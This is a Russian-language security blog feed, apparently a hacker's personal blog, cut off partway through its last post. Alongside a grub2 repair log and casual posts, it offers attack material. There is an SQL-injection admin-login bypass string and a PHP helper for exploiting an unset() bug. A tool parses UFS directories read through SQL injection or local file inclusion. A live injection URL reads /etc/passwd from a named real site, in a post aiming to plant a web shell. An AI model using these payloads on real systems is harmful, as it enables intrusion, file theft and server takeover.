tag:blogger.com,1999:blog-60856912291625787852024-02-07T06:18:10.244+03:00Мой Карфаген...Кроме того, я думаю, что Карфаген должен быть разрушен...Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.comBlogger10125tag:blogger.com,1999:blog-6085691229162578785.post-74429783429681733652010-04-06T19:02:00.000+04:002010-04-06T19:02:21.712+04:00gnome-blog апплет<br /><p>Поставил себе этот апплет. Собственно эта запись и является тестированием апплета. Настроек минимум да и вообще, этот апплет я думаю мне не подойдет, так как я хочу делать упор на объем каждой записи, а не на их количество. Наверное это ужасно удобная штука для тех кто публикует свои мысли и переживания... Нет, все же мне это не подходит</p>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com3tag:blogger.com,1999:blog-6085691229162578785.post-49556364163966704562010-04-06T11:29:00.005+04:002010-04-06T13:00:14.779+04:00grub2 блин<p>Решил поставить на Ubuntu 9.10 grub2. Сложного ничего нет, вроде как, набрал:</p><p><code>sudo apt-get grub-pc</code></p><p>Со всем согласился, перезагрузился , при перезагрузке проверил, что все встало норм, осталось только закрепить. Я набрал в консольке:</p><p><code>sudo upgrade-from-grub-legacy</code></p><p>А дальше начал бездумно и не читая тыкать на "ОК", компьютер вроде как умный и сам все знает. При этом забыл поставить... ммм... "галочку" при выборе устройства на котором grub2 пропишется (а всего то нужно было /dev/sda выбрать). Перезагрузился, ну и словил ошибку </p><p><code>Error 15:чтототам</code></p><p>Немного расстроился так как время было 6 утра и хотелось спать. LiveCD не нашел (у меня вообще бардак в связи с ремонтом, хотя может просто... бардак) Зато нашел dvd с Kubuntu старенькой, чему несказанно и опрометчиво обрадовался. Вобщем загрузился я вернее Kubuntu. Попробовал премонтировать диск с KK, набрал:</p><p><code>sudo fdisk -l</code></p><p>увидел то, что мне нужно:</p><p><code>Устр-во Загр Начало Конец Блоки Id Система<br />/dev/sda1 1 784 6297448+ 83 Linux<br />/dev/sda2 * 785 6273 44086392 7 HPFS/NTFS<br />/dev/sda3 6273 12848 52814017 7 HPFS/NTFS<br />/dev/sda4 12849 19457 53086792+ 5 Расширенный<br />/dev/sda5 12849 19181 50869791 83 Linux<br />/dev/sda6 19182 19457 2216938+ 82 Linux своп / Solaris</code></p><p>и попробовал примонтировать:</p><p><code>sudo mount /dev/sda1 /mnt</code></p><p>на что кубанточка выплюнула несогласие с fs /dev/sda1:</p><p><code>unknown filesystem type 'ext4' </code></p><p>Пришлось качать образ с оф сайта:</p><p><a href="http://www.ubuntu.com/getubuntu/download">http://www.ubuntu.com/getubuntu/download</a></p><p>Но как назло не нашел живой болванки, а бежать в магазин в 7 утра было совсем влом. Благо дело нашел флешку. Потом скачал замечательную программу UNetbootin c </p><p><a href="http://sourceforge.net/projects/unetbootin/files/UNetbootin/429/unetbootin-windows-429.exe/download">http://sourceforge.net/projects/unetbootin/files/UNetbootin/429/unetbootin-windows-429.exe/download</a></p><p>И создал LiveUSB. Загрузившись с нее я сдури примонтировал sda1:</p><p><code>sudo mount /dev/sda1 /mnt</code></p><p>и попытался сделать chroot /mnt, на это был послан chroot`ом в задницу по причине того что /bin/bash он не нашел. Все было просто, я не посмотрел на размер раздела и примонтировал раздел с... порнухой (это шутка). Вышел из chroot, отмонтировал все что не нужно) примонтировал то что нужно:</p><p><code>sudo mount /dev/sda5 /mnt</code></p><p>и создал синонимы текущих устройств в примонтированном разделе:</p><p><code>sudo mount --bind /dev/ /mnt/dev</code></p><p>тут уже chroot заработал:</p><p><code>sudo chroot /mnt</code></p><p>дальше выполнил команду</p><p><code>grub-install /dev/sda</code></p><p>В интернетах рекомендуют выполнить:</p><p><code>grub-install --recheck /dev/sda</code></p><p>но мне оно не понадобилось. Перезагрузился и о чудо все заработало, правда винды не было видно. Зайдя в родную Ubuntu я в терминале набрал</p><p><code>sudo update-grub</code><br /></p><p>И после перезагрузки винда в меню grub`а появилась.</p><p><br /></p><p>ЗЫ Этой заметкой я не хотел показать какие у меня кривые руки, я просто хотел написать правду ;)</p>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com0tag:blogger.com,1999:blog-6085691229162578785.post-17146301554306554272010-02-21T19:00:00.004+03:002010-02-21T20:12:54.937+03:00СтранноВсе хочу вести блог, но все не хватает времени. Недавно увидел исходники одного интересующего меня сайта, ну просто повезло... Это действительно было забавно, он использовал скрипт (ну что-то типа модуля), который обеспечивал возможность Basic HTTP аутентификации пользователей которые занесены в БД, конечно об авторизации не было и речи, если внутри, то ужо одминчег. Забавно то, что скрипт проверял включена ли опция magic_quotes_gpc и если она выключена, то _SERVER['PHP_AUTH_USER'] экранируется с помощью mysql_escape_string() , это все конечно уязвимо при использовании двухбайтных кодировок (например китайской BIG5), кстати первый раз я встретил возможностьб обойти экранирование на сайте www.2checkout.com, сильно не правда ли (сильно, это я про значимость сайта)? Потом увидел <a href="http://forum.antichat.ru/thread89082.html">статью Elekta</a> и все стало понятно. Но смысл не в этом, смысл в том что если magic_quotes_gpc включена, то и обрабатывать данные не стоит, по мнению авторов. Даже буквы gpc на конце говорят про то, что обрабатывается только массив _REQUEST, вернее массивы_GET, _POST и _COOKIE. Кодеры!!! куда вы смотрите?!!! Пора забыть про такие элементарные ошибки, когда вся суть проникнуть в панель администратора заключается в том, что в поле логин нужно ввести:"asasasas' union select 1 -- 11" а в поле пароль:"1". Давайте не будем позориться)Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com1tag:blogger.com,1999:blog-6085691229162578785.post-89073249914037593022009-11-09T19:37:00.006+03:002009-11-09T20:28:35.401+03:00UFS каталогиВот нашел структуру каталога в UFS. Блин, а я реверсил. Радует только то, что понял я тогда все правильно. Вот как это выглядит в файле <a href="http://www.kernel-api.org/docs/online/2.6.1/d9/d86/ufs__fs_8h-source.html">ufs_fs.h</a><br /><pre class="fragment"><span class="keyword"></span><span class="comment"><span class="comment"><span class="comment"><span class="comment"><span class="comment"><span class="comment"><br /></span></span></span></span></span></span></pre> <span style="color: rgb(51, 204, 0);">struct</span> ufs_dir_entry {<br /><pre> <span style="color: rgb(0, 0, 153);">__u32 <span style="color: rgb(0, 0, 0);">d_ino;</span></span> <span style="color: rgb(204, 0, 0);">///inode number of this entry<br /> <span style="color: rgb(0, 0, 153);">__u16</span> <span style="color: rgb(0, 0, 0);">d_reclen;</span> <span style="color: rgb(204, 0, 0);">///length of this entry<br /> <span style="color: rgb(51, 204, 0);">union</span> <span style="color: rgb(0, 0, 0);">{</span><br /> <span style="color: rgb(0, 0, 153);">__u16</span> <span style="color: rgb(0, 0, 0);">d_namlen;</span> <span style="color: rgb(204, 0, 0);"> ///actual length of d_name<br /> <span style="color: rgb(51, 204, 0);">struct</span> <span style="color: rgb(0, 0, 0);">{</span><br /> <span style="color: rgb(0, 0, 153);">__u8</span> <span style="color: rgb(0, 0, 0);"> d_type;</span> <span style="color: rgb(204, 0, 0);">///file type<br /> <span style="color: rgb(0, 0, 153);">__u8</span> <span style="color: rgb(0, 0, 0);">d_namlen;</span> <span style="color: rgb(204, 0, 0);">///length of string in d_name<br /> <span style="color: rgb(0, 0, 0);">} d_44;</span><br /><span style="color: rgb(0, 0, 0);"> } d_u;</span><br /> <span style="color: rgb(0, 0, 153);">__u8</span> <span style="color: rgb(0, 0, 0);">d_name[UFS_MAXNAMLEN + 1];</span> <span style="color: rgb(204, 0, 0);">///file name<br /><span style="color: rgb(0, 0, 0);">};</span></span></span></span></span></span></span></pre>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com0tag:blogger.com,1999:blog-6085691229162578785.post-89398333240052895932009-08-19T07:11:00.003+04:002009-08-19T07:19:16.968+04:00навеяло, блинКому то Whisky, кому то Whiskas.<br />Кому то бабы, кому то киски.<br />Кому то просто, сидеть и хекать<br />Кому то, сцуко, орать и бегать.<br /><br />Ах, да, забыл, у меня же труъ секурный блог, больше такого не будет, просто животное достало!Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com9tag:blogger.com,1999:blog-6085691229162578785.post-65410717762163727202009-08-17T08:55:00.004+04:002009-08-17T15:04:32.956+04:00Вычисляем hash_del_key<div style="text-align: left;"><code><span style="color: rgb(0, 0, 0);"> <span style="color: rgb(0, 0, 187);"></span></span></code>Скрипт от меня, для вычисления hash_del_key который требуется при использовании баги связанной с unset()<br /></div><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br /></span></span></code><div style="text-align: left;"><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"> <?php</span></span></code><br /><code></code></div><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(255, 128, 0);"> //вычисление hash_del_key для переменных php4 и php5<br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">5381</span><span style="color: rgb(0, 119, 0);">;<br /> </span><span style="color: rgb(0, 0, 187);">$st</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">'s'</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(255, 128, 0);">//здесь имя переменной для которой считать хеш<br /> </span><span style="color: rgb(0, 119, 0);">for (</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">0</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);"><</span><span style="color: rgb(0, 0, 187);">strlen</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$st</span><span style="color: rgb(0, 119, 0);">)+</span><span style="color: rgb(0, 0, 187);">1</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">++)<br /> {<br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">+= (</span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);"><< </span><span style="color: rgb(0, 0, 187);">5</span><span style="color: rgb(0, 119, 0);">);<br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">^= </span><span style="color: rgb(0, 0, 187);">ord</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$st</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">]);<br /> }<br /> echo </span><span style="color: rgb(221, 0, 0);">"hash_del_key_php4: $h"</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(255, 128, 0);">//вывод хеша php4<br /><br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">5381</span><span style="color: rgb(0, 119, 0);">;<br /> for (</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">0</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);"><</span><span style="color: rgb(0, 0, 187);">strlen</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$st</span><span style="color: rgb(0, 119, 0);">)+</span><span style="color: rgb(0, 0, 187);">1</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">++)<br /> {<br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">+= (</span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);"><< </span><span style="color: rgb(0, 0, 187);">5</span><span style="color: rgb(0, 119, 0);">);<br /> </span><span style="color: rgb(0, 0, 187);">$h </span><span style="color: rgb(0, 119, 0);">+= </span><span style="color: rgb(0, 0, 187);">ord</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$st</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(0, 0, 187);">$i</span><span style="color: rgb(0, 119, 0);">]);<br /> }<br /> echo </span><span style="color: rgb(221, 0, 0);">"hash_del_key_php5: $h"</span><span style="color: rgb(0, 119, 0);">;</span><span style="color: rgb(255, 128, 0);">//вывод хеша php5</span><span style="color: rgb(0, 0, 187);"><br />?></span> </span> </code>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com0tag:blogger.com,1999:blog-6085691229162578785.post-88280537425507847432009-04-01T03:26:00.004+04:002009-04-01T03:37:34.353+04:001 АПРЕЛЯ!!!Н. В. Гоголю исполнилось бы 200 лет. Но что такое 200 лет по сравнению с вечностью, ибо Гоголь вечен.<br />Гугл как всегда не остался в стороне от такого события, такой даты:<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjPT0kS9kItLCuvhql1ZJQNpcUcSudbzvBPNKH4HFNZidsTatiURVecUfkcwRXHpviwQR_hyphenhyphenE2F_dSf7nBLCuq6IUyuWNQopJQzKDjCMyVTVtdTug_B2cwXPtn1R8hR2nFxKplrjeAa9M/s1600-h/Google.jpg"><img style="cursor: pointer; width: 400px; height: 219px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjPT0kS9kItLCuvhql1ZJQNpcUcSudbzvBPNKH4HFNZidsTatiURVecUfkcwRXHpviwQR_hyphenhyphenE2F_dSf7nBLCuq6IUyuWNQopJQzKDjCMyVTVtdTug_B2cwXPtn1R8hR2nFxKplrjeAa9M/s400/Google.jpg" alt="" id="BLOGGER_PHOTO_ID_5319499765673717634" border="0" /></a></div>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com2tag:blogger.com,1999:blog-6085691229162578785.post-13282091172929807692009-04-01T02:21:00.016+04:002009-04-01T15:08:43.197+04:00Парсинг файла каталога UFS и иже с ними<p>Как выяснилось при чтении каталога в Файловой Системе UFS/UFS2 (c которыми работают ОС *BSD и SunOS) не возникает ошибки и мы можем увидеть не содержимое каталога в традиционном понимании, а содержимое файла, коим по сути и является каталог. Другими словами при проведении SQL инъекции с возможностью чтения файлов или Lfi (Local file including) можно читать не только содержимое файлов, но и содержимое каталогов. Собственно скрипт представленный ниже для этого и нужен. Функционал прост, в поле вводим URL с уязвимостью позволяющей прочитать каталог и видим результат. Еще раз повторюсь что работает только с ОС работающими c UFS (*BSD и SunOS)</p><p><br /><div class="alt2" style="margin:0px; padding:6px; border:1px inset; width:530px; height:818px; overflow:auto; background-color:#FFFACA;"><span style="font-size:85%;"><code><span style="color:#000000;"><span style="color:#007700;"><</span><span style="color:#0000BB;">html</span><span style="color:#007700;">><br /><</span><span style="color:#0000BB;">head</span><span style="color:#007700;">><br /><</span><span style="color:#0000BB;">title</span><span style="color:#007700;">></span><span style="color:#0000BB;">Парсинг каталогов FreeBSD от Scipio</span><span style="color:#007700;"></</span><span style="color:#0000BB;">title</span><span style="color:#007700;">><br /></</span><span style="color:#0000BB;">head</span><span style="color:#007700;">><br /><</span><span style="color:#0000BB;">body</span><span style="color:#007700;">><br /><?</span><span style="color:#0000BB;">php<br />error_reporting</span><span style="color:#007700;">(</span><span style="color:#0000BB;">0</span><span style="color:#007700;">);<br /></span><span style="color:#0000BB;">set_time_limit</span><span style="color:#007700;">(</span><span style="color:#0000BB;">0</span><span style="color:#007700;">);<br />if (isset(</span><span style="color:#0000BB;">$_POST</span><span style="color:#007700;">[</span><span style="color:#DD0000;">'pole'</span><span style="color:#007700;">])){</span><span style="color:#0000BB;">$pole</span><span style="color:#007700;">=</span><span style="color:#0000BB;">$_POST</span><span style="color:#007700;">[</span><span style="color:#DD0000;">'pole'</span><span style="color:#007700;">]; </span><span style="color:#0000BB;">$fl</span><span style="color:#007700;">=</span><span style="color:#0000BB;">file_get_contents</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$pole</span><span style="color:#007700;">);} else </span><span style="color:#0000BB;">$pole</span><span style="color:#007700;">=</span><span style="color:#DD0000;">''</span><span style="color:#007700;">;<br /></span><span style="color:#0000BB;">?><br /></span><form method="post" action="<span style="color:#0000BB;"><?=$_SERVER</span><span style="color:#007700;">[</span><span style="color:#DD0000;">'SCRIPT_NAME'</span><span style="color:#007700;">]</span><span style="color:#0000BB;">?></span>"><br /><input type="text" size="150" name="pole" value="<span style="color:#0000BB;"><?=$pole?></span>"/><br /></form><br /><span style="color:#0000BB;"><?php<br /></span><span style="color:#007700;">if (!empty(</span><span style="color:#0000BB;">$fl</span><span style="color:#007700;">))<br />{<br /></span><span style="color:#0000BB;">$s</span><span style="color:#007700;">=</span><span style="color:#0000BB;">bin2hex </span><span style="color:#007700;">(</span><span style="color:#0000BB;">$fl</span><span style="color:#007700;">);<br /></span><span style="color:#0000BB;">$ln</span><span style="color:#007700;">=</span><span style="color:#0000BB;">strlen</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">)-</span><span style="color:#0000BB;">5</span><span style="color:#007700;">;<br /></span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">=</span><span style="color:#0000BB;">FALSE</span><span style="color:#007700;">;<br />for (</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">=</span><span style="color:#0000BB;">0</span><span style="color:#007700;">;</span><span style="color:#0000BB;">$i</span><span style="color:#007700;"><</span><span style="color:#0000BB;">$ln</span><span style="color:#007700;">;</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">+=</span><span style="color:#0000BB;">2</span><span style="color:#007700;">)<br /> { </span><span style="color:#0000BB;">$curhex</span><span style="color:#007700;">=</span><span style="color:#0000BB;">substr</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">,</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">,</span><span style="color:#0000BB;">3</span><span style="color:#007700;">);<br /> </span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;">=</span><span style="color:#0000BB;">substr</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">,</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">+</span><span style="color:#0000BB;">4</span><span style="color:#007700;">,</span><span style="color:#0000BB;">1</span><span style="color:#007700;">);<br /> if ((</span><span style="color:#0000BB;">$curhex</span><span style="color:#007700;">==</span><span style="color:#DD0000;">'040'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;">></span><span style="color:#DD0000;">'1'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;"><</span><span style="color:#DD0000;">'8'</span><span style="color:#007700;">))<br /> {<br /> </span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">=</span><span style="color:#DD0000;">"<br>"</span><span style="color:#007700;">.</span><span style="color:#DD0000;">'<b>[DIR]</b> '</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">=</span><span style="color:#0000BB;">TRUE</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$i</span><span style="color:#007700;">+=</span><span style="color:#0000BB;">4</span><span style="color:#007700;">;<br /> }<br /><br /> if ((</span><span style="color:#0000BB;">$curhex</span><span style="color:#007700;">==</span><span style="color:#DD0000;">'080'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;">></span><span style="color:#DD0000;">'1'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;"><</span><span style="color:#DD0000;">'8'</span><span style="color:#007700;">))<br /> {<br /> </span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">=</span><span style="color:#DD0000;">"<br>"</span><span style="color:#007700;">.</span><span style="color:#DD0000;">'[FILE] '</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">=</span><span style="color:#0000BB;">TRUE</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$i</span><span style="color:#007700;">+=</span><span style="color:#0000BB;">4</span><span style="color:#007700;">;<br /> }<br /> if ((</span><span style="color:#0000BB;">$curhex</span><span style="color:#007700;">==</span><span style="color:#DD0000;">'0a0'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;">></span><span style="color:#DD0000;">'1'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$nexthex</span><span style="color:#007700;"><</span><span style="color:#DD0000;">'8'</span><span style="color:#007700;">))<br /> {<br /> </span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">=</span><span style="color:#DD0000;">"<br>"</span><span style="color:#007700;">.</span><span style="color:#DD0000;">'<i>[LINK]</i> '</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">=</span><span style="color:#0000BB;">TRUE</span><span style="color:#007700;">;<br /> </span><span style="color:#0000BB;">$i</span><span style="color:#007700;">+=</span><span style="color:#0000BB;">4</span><span style="color:#007700;">;<br /> }<br /> if (</span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">===</span><span style="color:#0000BB;">TRUE</span><span style="color:#007700;">)<br /> {<br /> if ((</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">[</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">]></span><span style="color:#DD0000;">'1'</span><span style="color:#007700;">) and (</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">[</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">]<</span><span style="color:#DD0000;">'8'</span><span style="color:#007700;">))<br /> {<br /> </span><span style="color:#0000BB;">$hx</span><span style="color:#007700;">=</span><span style="color:#0000BB;">substr</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$s</span><span style="color:#007700;">,</span><span style="color:#0000BB;">$i</span><span style="color:#007700;">,</span><span style="color:#0000BB;">2</span><span style="color:#007700;">);<br /> </span><span style="color:#0000BB;">$hx</span><span style="color:#007700;">=</span><span style="color:#0000BB;">chr</span><span style="color:#007700;">(</span><span style="color:#0000BB;">hexdec</span><span style="color:#007700;">(</span><span style="color:#0000BB;">$hx</span><span style="color:#007700;">));<br /> </span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">=</span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">.</span><span style="color:#0000BB;">$hx</span><span style="color:#007700;">;<br /> }<br /> else {echo </span><span style="color:#0000BB;">$pob</span><span style="color:#007700;">; </span><span style="color:#0000BB;">$nam</span><span style="color:#007700;">=</span><span style="color:#0000BB;">FALSE</span><span style="color:#007700;">;}<br /> }<br /> }<br />}<br /></span><span style="color:#0000BB;">?><br /></span></body><br /></html></span></code></span><br /></div>Scipiohttp://www.blogger.com/profile/10752038718567475267noreply@blogger.com1tag:blogger.com,1999:blog-6085691229162578785.post-19523153625091101732009-03-31T19:07:00.045+04:002009-03-31T23:31:06.514+04:00Двойные запросы<div>Есть MySQL инъекция:<br /><div style="margin: 5px 20px 20px;"><br /><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*</div></pre></div>смысл в том, что текущий пользователь БД root и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.<br /><br />К теории, есть например такой скрипт:<br /><!--<div style="margin:20px; margin-top:5px; background-color: #30333D"><br /> <div class="smallfont" style="margin-bottom:2px">PHP код:</div>--><br /><div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 242px; background-color: rgb(255, 250, 202);"><div dir="ltr" style="text-align: left;"><code><span style="color: rgb(0, 0, 187);"><?php</span></code><br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);">mysql_connect</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">'localhost'</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(221, 0, 0);">'root'</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(221, 0, 0);">''</span><span style="color: rgb(0, 119, 0);">);<br /></span><span style="color: rgb(0, 0, 187);">mysql_select_db</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">'intbrd'</span><span style="color: rgb(0, 119, 0);">);<br /></span><span style="color: rgb(0, 0, 187);">$id</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">$_GET</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">"id"</span><span style="color: rgb(0, 119, 0);">];<br /></span><span style="color: rgb(0, 0, 187);">$sql </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(221, 0, 0);">"SELECT u_id,u__email,u__name FROM `User` where u_id="</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">$id</span><span style="color: rgb(0, 119, 0);">;<br /></span><span style="color: rgb(0, 0, 187);">$result </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">MySQL_QUERY</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$sql</span><span style="color: rgb(0, 119, 0);">);<br />echo </span><span style="color: rgb(0, 0, 187);">mysql_error</span><span style="color: rgb(0, 119, 0);">();<br />while(</span><span style="color: rgb(0, 0, 187);">$us </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">MySQL_FETCH_ARRAY</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$result</span><span style="color: rgb(0, 119, 0);">))<br />{<br />echo </span><span style="color: rgb(0, 0, 187);">$us</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">'u__email'</span><span style="color: rgb(0, 119, 0);">].</span><span style="color: rgb(221, 0, 0);">":"</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">$us</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">'u__name'</span><span style="color: rgb(0, 119, 0);">];echo </span><span style="color: rgb(221, 0, 0);">"<br>"</span><span style="color: rgb(0, 119, 0);">;<br /></span><span style="color: rgb(0, 0, 187);"> $onl </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">MySQL_QUERY</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"SELECT o_uid,o_key FROM online WHERE o_uid = "</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">$us</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">"u_id"</span><span style="color: rgb(0, 119, 0);">]);<br />while(</span><span style="color: rgb(0, 0, 187);">$usonl </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">MySQL_FETCH_ARRAY</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(0, 0, 187);">$onl</span><span style="color: rgb(0, 119, 0);">))<br />echo </span><span style="color: rgb(0, 0, 187);">$usonl</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">"o_uid"</span><span style="color: rgb(0, 119, 0);">].</span><span style="color: rgb(221, 0, 0);">':'</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">$usonl</span><span style="color: rgb(0, 119, 0);">[</span><span style="color: rgb(221, 0, 0);">"o_key"</span><span style="color: rgb(0, 119, 0);">];<br />}<br /></span><span style="color: rgb(0, 0, 187);">?></span></span><br /></code><!-- php buffer end --></div></div>(набросал я его чисто для наглядности и примера и показываю на примере своей бд)<br /><br />обратившись к скрипту:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">http://localhost/erase.php?id=-2+union+select+1,2,3/*</div></pre></div>видим:<br /><div style="border-style: solid; border-color: rgb(128, 128, 132) rgb(227, 227, 229) rgb(227, 227, 229) rgb(128, 128, 132); border-width: 1px; padding: 10px; margin-right: 20px; margin-left: 20px; margin-bottom: 10px;">2:3<else></else><br /></div>обратившись:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">http://localhost/erase.php?id=-2+union+select+0x27,2,3/*</div></pre></div>(0x27- код кавычки) видим:<br /><div style="border-style: solid; border-color: rgb(128, 128, 132) rgb(227, 227, 229) rgb(227, 227, 229) rgb(128, 128, 132); border-width: 1px; padding: 10px; margin-right: 20px; margin-left: 20px; margin-bottom: 10px;">2:3<br /><div style="font-style: italic;">Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20<else></else><br /></div></div>происходит это потому, что данные, полученные из первого запроса, вставляются во второй запрос.<br /><br />Сделаем "внутренний" инъект-запрос:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: left;">-2 union select '999',111/*</div></pre></div>захексим его и подставим в первое поле первого ("внешнего") запроса:<br /><div style="margin: 5px 20px 20px;"><pre class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 530px; height: 40px;"><div dir="ltr" style="text-align: 